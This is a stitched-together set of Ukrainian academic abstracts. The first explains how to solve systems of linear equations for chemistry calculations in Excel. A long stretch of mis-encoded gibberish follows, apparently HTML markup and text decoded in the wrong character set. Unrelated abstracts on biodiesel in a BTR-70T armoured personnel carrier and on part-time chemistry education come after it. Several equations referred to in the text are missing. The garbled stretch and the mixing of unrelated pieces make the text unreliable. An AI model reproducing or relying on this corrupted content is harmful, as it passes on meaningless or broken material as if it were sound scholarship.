Однією з особливостей хімії ХХІ століття є її інформатизація та математизація, при цьому хімія виходить на новий рівень розвитку з новими для неї можливостями. Багато авторів приділяють увагу місцю математики та інформатики в сучасній хімії: Н. Д. Вишнивецька, В. С. Вишнивецька, Т. М. Деркач, С. А. Неділько, М. Є. Соловйов, М. М. Соловйов, А. А. Черняк, Ж. А. Черняк, А. А. Якимович та інші.Загальновідомо, що в умовах вищих навчальних закладів та середніх шкіл дуже гостро стоїть питання про роботу на комп’ютерах тільки з ліцензійними програмами, що на даному етапі не завжди можливо. В той же час комп’ютери в навчальних закладах та в домашніх умовах налагоджені, в основному, на операційну систему Windows з пакетом програм Microsoft Office. Табличний процесор Excel входить до цього пакету програм, має великі обчислювальні можливості, зручний та простий в користуванні, має російський інтерфейс, тому раціонально математичні методи в хімії здійснювати в Excel. Ряд авторів присвятили свої роботи математичному моделюванні в Excel [1; 3; 6]. Про популярність цієї програми говорить і той факт, що табличний процесор Excel активно розглядається та використовується в соціальних мережах.Метою даної роботи є подання прикладів хімічних систем та процесів, які описуються за допомогою системи лінійних алгебраїчних рівнянь (СЛАР), і алгоритмів розв’язування СЛАР в Excel.Більшість фізичних, фізико-хімічних, хімічних та технологічних процесів описуються СЛАР. Наведено приклади хімічних систем та хімічних процесів, математичними моделями яких є СЛАР.Неорганічна хімія. Розчини та їх приготування з вихідного розчину та кристалічної речовини. Розрахунок маси вихідних компонентів для приготування розчину певної маси та певної концентрації речовини. При цьому складають систему рівнянь, перше з яких є рівнянням балансу за масою розчину, який треба приготувати, друге є рівнянням матеріального балансу за речовиною в кінцевому розчині.Фізична хімія. Тиск багатокомпонентної хімічної системи. Розрахунок тиску пари чистих компонентів, якщо відомо сумарний тиск суміші цих компонентів в однофазній системі за певної сталої температури та склад суміші. В даному випадку складають систему рівнянь, в кожному з яких підводиться баланс за тиском суміші. Кількість рівнянь повинна бути неменше кількості компонентів у суміші.Аналітична хімія. Спектрофотометричний аналіз багатокомпонентної суміші. Розрахунок кількісного складу багатокомпонентної суміші за результатами вимірювання оптичної густини суміші при різних довжинах хвиль. При цьому складають систему рівнянь, в кожному з яких підводиться баланс за оптичною густиною суміші при певній довжині хвилі. Система рівнянь має розв’язок, якщо кількість довжин хвиль, при яких проводили вимірювання оптичної густини суміші, неменше кількості компонентів цієї суміші.Регресійний аналіз результатів хімічного експерименту. За методом найменших квадратів знаходять рівняння регресії (математична модель експерименту), яке оптимально відповідає залежності функції, яку вивчають, від аргументів в експерименті (наприклад, розчинності речовин від температури).Хімічна технологія. Суміші та їх приготування для проведення певного технологічного процесу з компонентів, в тому числі, відходів виробництва. Розрахунок маси вихідних компонентів для приготування суміші певної маси та певного складу. Для цього складають систему рівнянь, перше з яких є рівнянням балансу за масою суміші, яку треба приготувати, інші є рівняннями матеріального балансу за окремими речовинами в кінцевій суміші.Наступний етап в роботі хіміка – це розв’язання СЛАР, яке іноді є складним та довготривалим процесом. Застосування Excel значно спрощує та прискорює цей процес і дозволяє хіміку більше уваги приділити хімічній суті даного процесу. Тому розглянемо методи розв’язування СЛАР із застосуванням Excel.Існує багато способів розв’язання СЛАР, які поділяють на дві групи:1) точні методи, за допомогою яких знаходимо за певним алгоритмом точні значення коренів системи. До них відносяться метод Крамера, метод Жордана-Гауcса, метод Гаусcа, метод оберненої матриці та інші;2) ітераційні методи, за допомогою яких знаходимо корені системи з заданою заздалегідь точністю шляхом збіжних нескінченних процесів. Це такі методи, як метод простої ітерації, метод Гауcса-Зейделя, метод верхньої та нижньої релаксації та інші.Легко реалізуються в Excel такі методи розв’язування СЛАР, як метод Крамера та матричний метод (або метод оберненої матриці).Розв’язання СЛАР точними методамиМетод КрамераНехай задана система n лінійних рівнянь з n невідомими, (1)тоді їй відповідає матриця:(2)Якщо детермінант det A = Δ ≠ 0, ця система має єдиний розв’язок.Замінимо у визначнику основної матриці Δ i-ий стовпець стовпцем вільних членів, тоді одержимо n інших визначників для знаходження n невідомих Δ1, Δ2, …, Δ n. За формулами Крамера знаходимо невідомі:;; …; . (3)Таким чином, з формули (3) видно, що якщо визначник системи не дорівнює нулю (Δ ≠ 0), то система має лише один розв’язок.Цей метод можна реалізувати в Excel за допомогою математичної функції майстра функцій МОПРЕД (масив матриці), яка знаходить визначник матриці.Метод оберненої матриці1. Записуємо систему в матричній формі:Ах = b,де А – матриця коефіцієнтів; х – вектор невідомих; b – вектор вільних членів.2. Обидві частини матричного рівняння множаться на матрицю, обернену до А:А-1Ах = А-1b. (4)За визначенням, добуток матриці на обернену до неї дає одиничну матрицю, а добуток одиничної матриці на будь-який вектор дорівнює цьому ж вектору, тому рівняння (4) перетворюється до наступного вигляду:х = А-1b.Це і є розв’язок системи рівнянь.Для здійснення цього методу в Excel застосовують математичну функцію МОПРЕД (масив вихідної матриці А), МОБР (масив вихідної матриці А), за допомогою якої знаходять обернену матрицю А-1, та функцію МУМНОЖ (масив матриці А-1; масив вектора b), яка знаходить добуток матриць. Функції подані з указанням їх синтаксису в Excel. Функції «МУМНОЖ» та «МОБР» – функції масивів, які в якості результату повертають масив значень.Розв’язання СЛАР ітераційними методамиМетод простої ітерації1. Нехай маємо систему n лінійних алгебраїчних рівнянь з n невідомими (1), основна матриця А (2) якої має детермінант det A = Δ ≠ 0. Таким чином, система має єдиний розв’язок.2. Перевіримо задану систему на виконання для всіх рівнянь наступної умови, достатньої на цьому етапі для збіжності наступного процесу ітерацій:, і = 1, 2, …, n. (5)Якщо система n лінійних алгебраїчних рівнянь не задовольняє цій умові, то перетворюємо її на еквівалентну систему елементарними перетвореннями так, щоб виконувалась умова (5) для всіх діагональних коефіцієнтів. Вважаємо, що представлена система рівнянь (1) відповідає умові (5).3.Розв’яжемо перше рівняння відносно х1, друге – відносно х2 і так далі. В результаті одержимо таку систему в ітераційній формі:, (6)де ; при i ≠ j та ai,j = 0 при i = j.Тоді одержимо систему в матричному вигляді:х = β + αх, (7)де; ; .4. Розв’яжемо систему методом послідовних наближень (ітерацій). За нульовий розв’язок приймемо або розв’язок якимось прямим методом, або стовпець вільних членів, тобто, х(0) = β, або будь-які довільні числа.5. Підставимо одержані значення х(0) у праві частини рівнянь системи в ітераційній формі (6) і одержимо перше наближення х(1) = β + αх(0). потім друге наближення х(2) = β + αх(1) і так далі. В загальному вигляді маємо, що (k)-е наближення розраховуємо за формулою х(k) = β + αх(k-1).Якщо послідовність наближень х(1), х(2), …, х(k), … має границю, тобто, i = 1,2 … , n ,то ця границя буде розв’язком системи (7) xj*= (x1*, xj*,… , xn* ).Умова закінчення ітераційного процесу для отримання розв’язку наступна:, i = 1,2,…, n, (8)де ε > 0, не більше граничної похибки наближеного розв’язку.Метод Гауcса-ЗейделяЯкщо в методі простої ітерації при обчисленні k-го наближення х(k)=(х1(k), х2(k), х3(k)) використовуємо тільки результати (k-1)-го наближення, то в ітераційному методі Гауcса-Зейделя для обчислення хі(k) використовують вже знайдені значення х1 (k), … , хі-1(k). Умови збіжності методу Гауcса-Зейделя ті ж самі, що і для методу простої ітерації, але ітераційний процес в цьому випадку відбувається швидше, хоч обчислення більш громіздкі.Для здійснення цього методу в Excel треба привести СЛАР до ітераційної форми, налагодити обчислювальний ітераційний процес за допомогою меню «сервіс», ініціалізувати ітераційний процес уведенням початкових наближень та застосуванням логічної функції ЕСЛИ(лог_выражение; знач_если_истина; знач_если_ложь), при введенні рівнянь використати посилання. Ітераційний процес продовжують до тих пір, поки не досягають задовільної збіжності до розв’язку.Цей метод більш складний для реалізації в Excel, тому покажемо алгоритм на прикладі.Приклад. Нехай треба розв’язати таку систему рівнянь: Перетворимо систему лінійних рівнянь до ітераційної форми Відкриваємо робочий аркуш Excel і налагоджуємо обчислювальний ітераційний процес:- обираємо команду Сервис → Параметры;- відкриваємо вкладку Вычисления;- вмикаємо режим Вручную;- ставимо відмітку на перемикач Итерации;- уводимо в поле Предельное число итераций значення 1;- відмикаємо режим Пересчёт перед сохранением;- тиснемо на кнопку ОК.До комірки А1 вводимо «Розвязок систем рівнянь. Метод Гаусса-Зейделя».До комірки А3 вводимо «Поч. флаг».До комірки В3 вводимо початковий флаг ініціалізації (спочатку ИСТИНА, потім ЛОЖЬ), який би переводив обчислювальний процес в певний початковий стан.При введенні значення ИСТИНА функція ЕСЛИ (лог_выражение; знач_если_истина; знач_если_ложь) повертає початкові наближення в стовпець розв’язку (0;0;0), тобто, в якості аргументу функції (ЕСЛИ) знач_если_истина використовуємо початкові наближення 0;0;0.При введенні значення ЛОЖЬ функція ЕСЛИ (лог_выражение; знач_если_истина; знач_если_ложь) повертає наступні наближення в стовпець розв’язку, тобто, в якості аргументу функції (ЕСЛИ) знач_если_ложь використовуємо стовпець приведених рівнянь.До комірки А6 вводимо «Початкові значення».До комірок А7:А9 вводимо стовпець початкових наближень, нехай це будуть нулі (0;0;0).Вводимо стовпець рівнянь в ітераційній формі:До комірки В6 вводимо «Рівняння».До комірки В7 вводимо =(С8+2*С9)/8.До комірки В8 вводимо =(10-5*С7+С9)/7.До комірки В9 вводимо =(2+2*С7+С8)/4.В комірку С6 вводимо «Розв’язки».В комірку С7 вводимо формулу: =ЕСЛИ($B$3; A7; B7) і копіюємо її в комірки С8 та С9.Для проведення розрахунків встановлюємо флаг ініціалізації рівним ИСТИНА і натискаємо клавішу F9. Після ініціалізації листа змінюємо значення флага ініціалізації на ЛОЖЬ і натискаємо клавішу F9. Перехід до наступної ітерації здійснюємо за допомогою клавіші F9. Ітераційний процес продовжуємо доти, поки не буде виконуватись умова (8).ВисновкиБільшість фізичних, фізико-хімічних, хімічних та технологічних процесів описується системами лінійних рівнянь.Наведені приклади хімічних систем та процесів, які описуються за допомогою системи лінійних алгебраїчних рівнянь.Застосування Excel значно спрощує та прискорює розв’язок систем лінійних рівнянь.Описані алгоритми розв’язання систем лінійних рівнянь в Excel точними методами (метод Крамера та метод оберненої матриці) та ітераційним методом Гауcса-Зейделя.Представлені приклади систем з різних областей хімії та алгоритми розв’язання систем лінійних рівнянь в Excel можуть бути корисними для викладачів вищих навчальних закладів та вчителів шкіл з поглибленим вивченням хімії.ℼ佄呃偙⁅呈䱍倠䉕䥌⁃ⴢ⼯㍗⽃䐯䑔䠠䵔⁌⸴‰牔湡楳楴湯污⼯久㸢㰊呈䱍ਾ䠼䅅㹄ऊ䴼呅⁁呈偔䔭啑噉∽佃呎久ⵔ奔䕐•佃呎久㵔琢硥⽴瑨汭※档牡敳㵴瑵ⵦ∸ਾ㰉䥔䱔㹅⼼䥔䱔㹅ऊ䴼呅⁁䅎䕍∽䕇䕎䅒佔≒䌠乏䕔呎∽楌牢佥晦捩⁥⸴⸱⸳′䰨湩硵∩ਾ㰉䕍䅔丠䵁㵅䌢䕒呁䑅•佃呎久㵔〢〻㸢ऊ䴼呅⁁䅎䕍∽䡃乁䕇≄䌠乏䕔呎∽㬰∰ਾ㰉呓䱙⁅奔䕐∽整瑸振獳㸢ऊℼⴭऊ䀉慰敧笠洠牡楧㩮㈠浣素ऊ倉笠洠牡楧⵮潢瑴浯›⸰ㄲ浣※楤敲瑣潩㩮氠牴※潣潬㩲⌠〰〰〰※整瑸愭楬湧›番瑳晩㭹眠摩睯㩳〠※牯桰湡㩳〠素ऊ倉眮獥整湲笠猠ⵯ慬杮慵敧›歵唭⁁੽उ⹐瑣⁻潳氭湡畧条㩥愠⵲䅓素ऊ䄉氺湩⁻潣潬㩲⌠〰〰晦素ऊⴭਾ㰉匯奔䕌ਾ⼼䕈䑁ਾ䈼䑏⁙䅌䝎∽畲刭≕吠塅㵔⌢〰〰〰•䥌䭎∽〣〰昰≦䐠剉∽呌≒ਾ值䰠乁㵇產⵫䅕•䱃十㵓眢獥整湲•呓䱙㵅琢硥⵴湩敤瑮›⸰挷㭭洠牡楧⵮潢瑴浯›挰≭ਾ黐듐뷐雑铑軑퀠₷뻐臑뻐뇐믐룐닐뻐臑苑뗐말턠톅킖톼톖ₗꗐꗐ蛐턠톁킂킾톻톖톂톂એ铑턠톗ₗ雑뷐蓑뻐胑볐냐苑룐럐냐蛑雑近턠킂₰볐냐苑뗐볐냐苑룐럐냐蛑雑近ਬ뿐胑룐턠톆킌킾톼₃藑雑볐雑近퀠킲톸킅킾킴톸톂₌뷐냐퀠킽킾킲킸₹胑雑닐뗐뷐賑턊킀킾킷킲톸킂톺₃럐퀠킽킾킲킸킼₸듐믐近퀠킽통ₗ볐뻐뛐믐룐닐뻐臑苑近볐룐ਮ釐냐돐냐苑뻐퀠킰톲킂톾톀킖₲뿐胑룐듐雑믐近軑苑賑턠킃킲킰톳₃볐雑臑蛑軑퀊킼톰킂킵킼톰킂킸킺₸苑냐턠킖톽킄톾킀킼톰킂킸킺₸닐턠톁톃킇톰킁톽킖હ藑雑볐雑韑›鷐☮扮灳퀻⺔渦獢㭰鋐룐裑뷐룐닐뗐蛑賑뫐냐ਬ鋐☮扮灳퀻⺡渦獢㭰鋐룐裑뷐룐닐뗐蛑賑뫐냐‬ꋐ☮扮灳퀻⺜渦獢㭰铐뗐胑뫐냐蟑ਬꇐ☮扮灳퀻⺐渦獢㭰鷐뗐듐雑믐賑뫐뻐‬鳐☮扮灳퀻⺄渦獢㭰ꇐ뻐믐뻐닐말뻐닐ਬ鳐☮扮灳퀻⺜渦獢㭰ꇐ뻐믐뻐닐말뻐닐‬郐☮扮灳퀻⺐渦獢㭰Ꟑ뗐胑뷐近뫐ਬ雐☮扮灳퀻⺐渦獢㭰Ꟑ뗐胑뷐近뫐‬郐☮扮灳퀻⺐渦獢㭰꿐뫐룐볐뻐닐룐蟑턠킂ર雑뷐裑雑㰮倯ਾ值䰠乁㵇產⵫䅕•䱃十㵓眢獥整湲•呓䱙㵅琢硥⵴湩敤瑮›⸰挷㭭洠牡楧⵮潢瑴浯›挰≭ਾ韐냐돐냐믐賑뷐뻐닐雑듐뻐볐뻐‬觑뻐퀠₲菑볐뻐닐냐藑퀠킲톸킉톸અ뷐냐닐蟑냐믐賑뷐룐藑퀠킷킰킺킻킰톴킖₲苑냐턠킁통킀킵킴톽톖₅裑뫐雑믐퀊톴킃킶₵돐뻐臑苑胑뻐턠톁킂톾톗톂₌뿐룐苑냐뷐뷐近퀠톿킀₾胑뻐뇐뻐苑菑퀊킽₰뫐뻐볐뿐胢톙톎킂통킀톰₅苑雑믐賑뫐룐퀠₷믐雑蛑뗐뷐럐雑말뷐룐볐룐퀊톿킀킾톳킀킰킼킰킼Ⲹ턠킉₾뷐냐퀠킴킰킽킾톼₃뗐苑냐뿐雑퀠킽₵럐냐닐뛐듐룐퀊킼킾킶킻킸킲⺾퀠ₒ苑뻐말퀠킶₵蟑냐臑퀠킺킾킼馀軑苑뗐胑룐퀠લ뷐냐닐蟑냐믐賑뷐룐藑퀠킷킰킺킻킰킴톰₅苑냐퀠₲듐뻐볐냐裑뷐雑藑턠킃킼킾킲톰અ뷐냐믐냐돐뻐듐뛐뗐뷐雑‬닐퀠톾킁킽킾킲킽킾톼ⲃ퀠킽₰뻐뿐뗐胑냐蛑雑말뷐菑턊킁톸톁킂킵톼₃楗摮睯⁳럐퀠킿킰킺통킂킾₼뿐胑뻐돐胑냐볐䴠捩潲潳瑦伊晦捩⹥퀠킢킰킱킻톸킇킽킸₹뿐胑뻐蛑뗐臑뻐胑䔠捸汥퀠톲킅킾킴톸톂₌듐뻐턊톆킌킾킳₾뿐냐뫐뗐苑菑퀠톿킀킾톳킀킰Ⲽ퀠킼톰ₔ닐뗐믐룐뫐雑퀊킾톱킇톸킁톻킎킲킰톻킌톽ₖ볐뻐뛐믐룐닐뻐臑苑雑‬럐胑菑蟑뷐룐말턠킂ર뿐胑뻐臑苑룐말퀠₲뫐뻐胑룐臑苑菑닐냐뷐뷐雑‬볐냐铑턠킀톾톁킖톹톁킌킺킸હ雑뷐苑뗐胑蓑뗐말臑‬苑뻐볐菑턠킀톰톆킖킾킽킰톻킌킽₾볐냐苑뗐볐냐苑룐蟑뷐雑퀊킼통킂킾킴₸닐턠톅킖톼톖ₗ럐듐雑말臑뷐軑닐냐苑룐퀠₲硅散⹬퀠토킏઴냐닐苑뻐胑雑닐퀠톿킀톸킁톲톏킂킸킻₸臑닐뻐韑턠킀킾킱톾킂સ볐냐苑뗐볐냐苑룐蟑뷐뻐볐菑퀠킼킾킴킵톻킎킲킰킽톽ₖ닐䔠捸汥嬠㬱㌠※崶ਮ鿐胑뻐퀠킿킾톿킃톻톏킀톽톖톁톂₌蛑雑铑韑퀠톿킀킾톳킀킰킼₸돐뻐닐뻐胑룐苑賑턊ₖ苑뻐말턠킄킰톺Ⲃ턠킉₾苑냐뇐믐룐蟑뷐룐말퀠톿킀톾킆통킁톾₀硅散੬냐뫐苑룐닐뷐뻐턠킀킾킷킳톻킏킴톰톔톂톌톁₏苑냐퀠킲킸킺톾킀톸톁킂킾톲톃톔톂톌톁એ닐턠킁톾톆킖킰톻킌킽톸₅볐뗐胑뗐뛐냐藑㰮倯ਾ值䰠乁㵇產⵫䅕•䱃十㵓眢獥整湲•呓䱙㵅琢硥⵴湩敤瑮›⸰挷㭭洠牡楧⵮潢瑴浯›挰≭ਾ䈼퀾킜통킂톾㲎䈯‾듐냐뷐뻐韑턠킀킾킱톾킂₸铑퀠킿킾킴킰킽톽₏뿐胑룐뫐믐냐듐雑닐턊톅킖톼톖킇킽톸₅臑룐臑苑뗐볐턠킂₰뿐胑뻐蛑뗐臑雑닐‬近뫐雑퀊킾킿톸톁톃톎톂톌톁₏럐냐퀠킴킾킿킾킼킾킳톾₎臑룐臑苑뗐볐룐퀠톻킖톽킖킹킽톸અ냐믐돐뗐뇐胑냐韑蟑뷐룐藑턠톀킖킲톽킏톽₌퀨킡킛킐⦠‬雑퀠킰킻킳톾킀톸킂톼킖લ胑뻐럐닐胢톙킏톷킃킲킰킽톽₏ꇐ鯐郐ꃐ퀠₲硅散⹬⼼㹐㰊⁐䅌䝎∽歵唭≁䌠䅌卓∽敷瑳牥≮匠奔䕌∽整瑸椭摮湥㩴〠㜮浣※慭杲湩戭瑯潴㩭〠浣㸢퀊톑킖톻톌톈톖톁톂₌蓑雑럐룐蟑뷐룐藑‬蓑雑럐룐뫐뻐턭톅킖톼톖킇킽톸ⲅ턊톅킖톼톖킇킽톸₅苑냐턠킂통킅킽킾킻킾톳톖킇킽톸₅뿐胑뻐蛑뗐臑雑닐퀊킾킿톸톁톃톎톂톌톁₏ꇐ鯐郐ꃐ‮鷐냐닐뗐듐뗐뷐뻐퀠톿킀킸킺킻킰킴સ藑雑볐雑蟑뷐룐藑턠킁톸톁킂킵₼苑냐턠톅킖톼톖킇킽톸₅뿐胑뻐蛑뗐臑雑닐ਬ볐냐苑뗐볐냐苑룐蟑뷐룐볐룐퀠킼킾킴킵톻킏킼₸近뫐룐藑턠ₔꇐ鯐郐ꃐ㰮倯ਾ值䰠乁㵇產⵫䅕•䱃十㵓眢獥整湲•呓䱙㵅琢硥⵴湩敤瑮›⸰挷㭭洠牡楧⵮潢瑴浯›挰≭ਾ唼퀾킝킵톾킀킳킰톽톖킇킽₰藑雑볐雑近㰮唯㰾㹉퀠킠킾톷킇킸킽₸苑냐턠톗અ뿐胑룐돐뻐苑菑닐냐뷐뷐近퀠₷닐룐藑雑듐뷐뻐돐뻐턠킀킾톷킇킸톽₃苑냐퀊톺킀톸톁킂킰톻톖

Питання застосування альтернативного пального для транспорт-них засобів є важливим і актуальним. Доцільність використанняальтернативного пального визначається економічними та еколо-гічними чинниками. Проблематика застосування альтернативногопального актуальна і для автобронетанкової техніки органів охо-рони державного кордону, але даних щодо впливу такого пального на експлуатаційні властивості зразків бронетанкової техніки недо-статньо.Для дослідження обрано модернізований бронетранспортерБТР-70Т, який надійшов на оснащення органів охорони кордону.Ця машина оснащена двома дизельними чотиритактними чоти-рициліндровими двигунами з турбонаддувом. Як альтернативнепальне пропонується використовувати біодизель. Перевагою цьогопального є його доступність, можливість використання місцевихресурсів, відсутність потреби у переобладнанні двигуна.Для дослідження впливу біодизеля на тягово-швидкісні властивос-ті бронетранспортера запропоновано методику, яка ґрунтується накомбінації методів теплового розрахунку поршневих двигунів вну-трішнього згорання, способів побудови швидкісних характеристикпоршневих двигунів та методів тягового розрахунку колісних ма-шин. За вихідні дані для дослідження використано дані щодо хіміч-них і фізичних властивостей біодизельного пального, тактико-тех-нічні характеристики бронетранспортера та технічні характеристи-ки застосованих двигунів.Під час дослідження враховано вплив елементарного складу біо-дизельного пального та його теплотворної здатності на потужністьдвигунів, побудовано зовнішні швидкісні характеристики двигунадля випадків застосування традиційного та альтернативного паль-ного, побудовано і досліджено відповідні тягові і динамічні харак-теристики бронетранспортера.У результаті дослідження встановлено, що біодизельне пальне можезастосовуватись на модернізованих бронетрнаспортерах, але прицьому прогнозується зниження крутного моменту та потужностідвигунів приблизно на п’ять процентів. Коефіцієнт пристосовува-ності двигуна за крутним моментом та за частотою обертання змі-ниться несуттєво. Прогнозується деяке погіршення тягових і швид-кісних властивостей машини, які, однак, не мають принциповогохарактеру, але потребують врахування як під час організації опе-ративно-службової діяльності, так і під час водіння досліджуванихмашин.

Заочна форма здобування вищої освіти у сучасних соціально-економічних умовах дозволяє поєднувати професійну діяльність з отриманням фундаментальних знань за обраною спеціальністю. У теперішній час система заочного навчання в Україні багато в чому поступається денній формі навчання та потребує глобальних змін.До переваг заочного навчання, від якого поступово відмовляються провідні ВНЗ Москви та Санкт-Петербургу [1], можна віднести:– можливість вчитися паралельно з роботою, тобто студент, не перериваючи своєї основної діяльності, може підвищити професійний рівень, придбати додаткову професію, заклавши тим самим основи професійного зростання;– можливість отримати освіту особам, які мають медичні обмеження для отримання регулярного освіти в стаціонарних умовах;– менша залежність від настрою і кваліфікації викладача, більше від власних зусиль і наполегливості;– відсутність обмежень на одночасне навчання в декількох ВНЗ (студент має право відразу освоїти більше однієї спеціальності);– вільний розподіл часу на навчання (студент може займатися, коли йому зручно, він не зв’язаний розкладом);– заочне навчання дешевше за денне та гарантує при цьому повноцінну вищу освіту;– при поєднання роботи з навчанням студент отримує можливість співвідносити теорію з практикою, доповнюючи одне іншим;– ця форма навчання є ідеальною для тих, хто прагне мати другу і подальші вищі освіти.Нажаль, час приніс свої зміни. В технологічну освіту на заочну форму навчання приходить все менше студентів, які реально працюють у галузі. Це відсоток знизився до 30. До чого це призводить? Насамперед, до того, що люди отримують дипломи, які для них абсолютно знецінені, так як фахівці вони ніякі, так і працювати за цією спеціальністю вони не планують. Тобто ми опинилися в «цікавому положенні», з одного боку підприємствам потрібні фахівці, інститути повні студентами, але фахівців бракує.Окрім того заочне навчання не позбавлене і недоліків:– найважливіший з них – відсутність контакту між викладачем і студентом в період між сесіями, неможливість оперативного отримання консультації при вирішенні навчальних завдань;– заочне навчання вимагає навичок самостійної роботи, тому випускникам шкіл краще вступати на денні відділення вузів;– слабкий контроль з боку викладачів;– у сесійний час недостатньо годин лабораторних і практичних робіт;– заочникам потрібні специфічні підручники та навчальні посібники, здатні замінити відсутнього викладача; поки таких підручників недостатньо.Ці недоліки особливо серйозно позначаються в освітній діяльності технічних ВНЗ, в програмах яких є складні для вивчення природничі дисципліни. Наприклад, курс загальної та неорганічної хімії є досить об’ємним, включає великий набір нової інформації, вимагає знання елементарної шкільної хімії, фізики, математики. Практика навчання студентів заочної форми в технічних ВНЗ в останні роки показує, на молодших курсах високий відсоток невстигаючих студентів з неорганічної хімії. Одна з причин – низька готовність студентів до освоєння цієї дисципліни.Вивчення курсу загальної хімії є найважливішим базовим елементом для підготовки кваліфікованого спеціаліста у галузі хімічної технології, який сприяє розвитку навичок дослідження практичних питань майбутнього фаху.У більшості вищих навчальних закладів традиційно вивчення природничих дисциплін носить предметно-змістовний або інформаційно-репродуктивний характер [2]. Студентам не надаються продуктивні методи становлення системи знань, а пропонується визначений викладачем маршрут вивчення дисципліни, тому найчастіше за такої системи навчання студенти досить часто задовольняються лише вивченням понять і законів предмету. Основний мінус таких способів навчання полягає в тому, що в результаті такої репродуктивної діяльності у студентів не розвивається інтерес до методів і способів пошуку і становлення знань, вони «проходять» дисципліну, не пов’язуючи її із іншими, та відокремлено від наукової системи.Спілкування тільки на вербальному рівні і багато нової інформації не сприяє становленню наукових уявлень про світ і формування світогляду. При такому способі навчання знання успішно виконують інформаційну функцію, але далеко не завжди тягнуть за собою розвиток студента. Особливістю вивчення загальної та неорганічної хімії для студентів заочної форми навчання ВНЗ є значне (до 25%) зниження аудиторного навантаження, яке повинно розподілятися на лекційні, практичні та лабораторні види занять, у порівнянні з денною формою навчання. Тоді виникає слушне питання, як зробити, щоб теоретичні знання не існували окремо, а були частиною практичної діяльності майбутнього фахівця. Тому для інтенсифікації навчальної роботи та підвищення якості підготовки доцільно більш активно використовувати діяльнісну модель отримання знань. У межах діяльнісного підходу процес пізнання – це система формування та вирішення певних задач. Але у практиці навчання не завжди оцінюються переваги високого рівня цілеспрямованого та спеціально напрямленого розвитку пізнавальної самостійності студентів поза межами аудиторії.Предметом нашого дослідження стали методи контролю самостійної роботи студентів з впровадженням способів та прийомів діяльнісного підходу.У якості критеріїв оцінювання існуючої методики були обрані не тільки інформативна насиченість, а й характеристики її подання та статус її виконання, здатні або не здатні надати студенту комплексне уявлення про вивчений матеріал. Саме це підтвердило необхідність створення нової форми методики складання тестового контролю самостійної роботи студента, що має колосальне значення для заочного навчання. Також важливим питанням є знаходження оптимального співвідношення між варіативністю навчання, індивідуальним підходом та груповим методом, що є традиційним при вивченні природничих дисциплін у вищій школі.На нашу думку, досконале методичне забезпечення організації самостійної роботи студентів заочної форми навчання та зміст завдань повинні відповідати наступним вимогам:1. Відповідність освітнім стандартам. Завдання повинні максимально охоплювати матеріал, передбачений навчальною програмою.2. Диференціація. Завдання повинні бути диференційованими, в залежності від початкового рівню знань, навичок та досвіду самостійної діяльності у різних студентів та потреб обраної майбутньої спеціальності, оскільки курс загальної та неорганічної хімії є в навчальному плані майже всіх факультетів нашого навчального закладу3. Діяльнісний підхід. Завдання повинні містити всі форми та основні ідеї розвиваючого навчання.При складанні завдань треба пам’ятати, що для формування мотивації студента необхідно відтворювати в завданні проблемні ситуації. Продуктивна діяльність можлива тільки при виникненні інтересу у студентів, тому знаходження умов, при яких зовнішня мотивація сформована за допомогою таких завдань спонукала б виникнення й становлення внутрішньої мотивації у студентів, є дуже актуальним [3].Студенту першого курсу потрібно, щоб сукупний обсяг знань, накопичений за роки навчання в середній школі або технікумі, та знання, отримані на установчій сесії, дозволили йому повною мірою володіти інтегральним баченням і здатністю до узагальнення інформації.На перший погляд думка, що навчальний матеріал тим краще виконує своє завдання, чим більше він сприяє швидкому, активного і усвідомленого засвоєння інформації може здатися досить простою, але ж мова йде про впровадження нової методики, яка, на відміну від існуючої, повністю виправдовує витрачені на неї ресурси.Необхідна зміна пріоритетів у системі освіти: від простого інформаційного посередника до інтерактивного навігатора, що має своєю метою максимально ефективно привести студента до позитивного результату. Перше питання полягає в тому, чи дозволяють в принципі положення нової методики впливати на аудиторію через нову технологію подання інформації. Звичайно, це не означає необхідність різкого відходу від всіх форм традиційного освіти. За рахунок нової інтерактивної технології їх можна зробити більш привабливими як для студента, так і для викладача, причому ми маємо можливість створити комбіновану технологію, що дозволить у багато разів розширити коло охоплених дисциплін, в той же час, розвинути ідею зміцнення її переваги в налагодженні логічних зв’язків між роботою педагога і студента [4].Результати оцінювання студентів за підсумками проведеного внутрішнього контролю дають змогу стверджувати, що застосування такого типу завдань як для організації самостійного опрацювання матеріалу, так і для проведення контрольних заходів дозволяє максимально активізувати увагу студента не тільки на базовому матеріалі, але і на логічних зв’язках підвищеного рівня.Варто зазначити, що застосування цієї технології не передбачає збільшення часу на проходження матеріалу, а навпаки, економить, надаючи можливість викладачу перерозподіляти його залишок на закріплення або поглиблення матеріалу. Функції нової методики полягають не тільки в залученні інтересів студента до конкретного напрямку у дисципліні, що вивчається, але і у формуванні інтегральної уяви про обрану категорію знань.У результаті проведених досліджень ми дійшли висновку про необхідність включення до завдань для самостійної роботи студентів наступних типів загальновідомих в дидактиці завдань: на відтворення, реконструктивно-варіативні, частково-пошукові та дослідницькі.При виконанні завдань на відтворення пізнавальна діяльність студента перебігає у формі відтворення знань: студент згадує або відшукує у методичних матеріалах потрібну формулу (закон), що виражає сутність явища, встановлює фізичний або хімічний сенс явища пише рівняння та робить розрахунки. Завдання цього типу створюють студенту умови для усвідомлення та запам’ятовування тих чи інших положень досліджуваного явища, сприяють накопиченню опорних знань, цікавих фактів і способів діяльності.Виконання завдань реконструктивно-варіативної типу сприяє засвоєнню певної послідовності дій (алгоритму). Самостійна діяльність студента дозволяє приєднати новий факт до групи вже відомих, студент повинен добре знати хімічні закони та вміти їх пристосувати до нових ситуацій [5]. Таким чином ми отримуємо стійке засвоєння базових вмінь та навичок, що в свою чергу дозволяє перейти до виконання завдань більш високого рівня складності.Експериментальні роботи, які ми пропонуємо для виконання студентам під час аудиторних занять, позбавлені недоліків звичайних практикумів: відсутності інтересу і проблемних ситуацій. При практичному дослідженні студент сам у межах заданої мети розв’язує свої конкретні завдання – практичні та розрахункові. Характер пізнавальної діяльності студентів змінюється, з’являється інтерес, висока мотивація. Таким чином, внутрішній інтерес зміщується з цілі навчання на мотив – здобування свого знання, формування свого ставлення, розв’язання професійних завдань.Окремого обговорення заслуговують тестові форми, що використовуються для проведення контрольних заходів. У нашому університеті ще три роки тому відмовились від виконання студентом-заочником контрольних робіт вдома. Це було зроблено цілком свідомо, бо ні для кого не є таємницею, що більшість студентів замовляють виконання контрольних робіт всіляким «добродіям», представники яких нахабно роздають свої візитки біля університету під час сесії заочників.Така відмова змусила викладачів шукати форму проведення контролю під час сесії. Звичайні тести не можуть навчити чи перевірити вміння зіставляти, аналізувати, порівнювати та робити висновки. Занадто велике захоплення тестами в школах та деяких ВНЗ призвело 